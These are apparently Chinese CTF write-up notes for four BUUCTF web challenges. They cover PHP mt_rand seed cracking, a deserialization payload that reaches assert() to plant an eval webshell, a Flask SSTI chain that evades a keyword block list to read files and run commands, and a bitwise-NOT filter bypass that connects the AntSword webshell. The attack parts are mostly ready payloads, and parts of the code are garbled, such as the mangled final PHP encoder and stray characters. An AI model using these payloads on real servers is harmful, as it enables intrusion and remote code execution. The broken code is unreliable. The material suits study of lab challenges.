BUUCTF_WEB_20201010
[GWCTF 2019]枯燥的抽奖
随便抓个包提交,发现提交到check.php
mEpwEPj4UR
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
漏洞在于mt_srand()这个函数,php中,mt_rand()生成的是一个伪随机数,是通过算法生成出来的,所以我们可以根据这个来进行破解,从而得到mt_srand()里的种子
EXP
<?php
$pass_now = "D6gp9CNrel";
$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$length = strlen($allowable_characters) - 1;
for ($j = 0; $j < strlen($pass_now); $j++) {
for ($i = 0; $i < $length; $i++) {
if ($pass_now[$j] == $allowable_characters[$i]) {
echo "$i $i 0 $length ";
break;
}
}
}
?>
看到好多web都是用python 写的
再放上python写的exp
```python
str1 ='FpCyLNvPOj'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
生成了数列,然后要转为爆破脚本可识别的数列


然后生成了种子769132213
然后代入到
<?php
mt_srand(769132213);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++) {
$str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";
?>

提交了就获得了flag
WEB-[NPUCTF2020]ReadlezPHP
查看源码发现有一个目录http://9895300b-a939-43ee-989f-b6d163ba15b0.node3.buuoj.cn/time.php?source
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2020-10-10 12:18:33
解法1:
由$b($a)可以构造$b=assert,$a=phpinfo ->assert(phpinfo())
属性b包裹住属性a
刚好可以传个木马进去
利用assert()函数
assert 判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
所以构造木马assert(eval($_POST[penson])😉
反序列化构造
echo serialize($c); #$c来自源码
O:8:"HelloPhp":2:
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

WEB-[GYCTF2020]FlaskApp
- SSTI注入
base64decode在不会解析的时候就会报错,然后习惯性对base64解密页面进行报错实验,base64解密界面随意输入字符串,导致解码报错,进入Debug页面,发现了部分源码。有关解密的关键代码如下:
获取我们传的text参数,进行解密,如果可以过waf则执行代码。{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('app.py','r').read() }}
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
[Open an interactive python shell in this frame] res = render_template_string(tmp)
所以可以使用ssti注入。发现确实存在ssti注入。直接执行命令:{% for c in [].class.base.subclasses() %}{% if c.name'catch_warnings' %}{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}{% endif %}{% endfor %}查看根目录
解密发现不行,要思索一下app.py里的那个waf()函数他是不是过滤了什么。

waf函数发现了过滤,原来是flag和os等被过滤。
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
那么我们可以利用字符串拼接找目录与执行命令。扫描根目录/:
{% for c in [].class.base.subclasses() %}{% if c.name'catch_warnings' %}{{ c.init.globals['builtins']'imp'+'ort'.listdir('/')}}{% endif %}{% endfor %}
发现了this_is_the_flag.txt读取this_is_the_flag.txt:由于waf过滤了flag,所以我们对“flag”进行拼接:{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

flag{e6c89b14-d2fd-4920-b800-05d885e30e52}
WEB-[极客大挑战 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
过滤了字母数字,考虑异或或者取反绕过,老套路
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:http://6ec3802c-407f-4eb3-9561-20a144f7793f.node3.buuoj.cn/?code=(~�������)();

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:
构造取反连接蚁剑
复制代码
<?php
a=′assert′;echourlencode(
a)."\n";
b=′(eval(
_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>
使用蚁剑连接:http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(%9E%8C%8C%9A%8D%8B)(%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
密码:cmd

浙公网安备 33010602011771号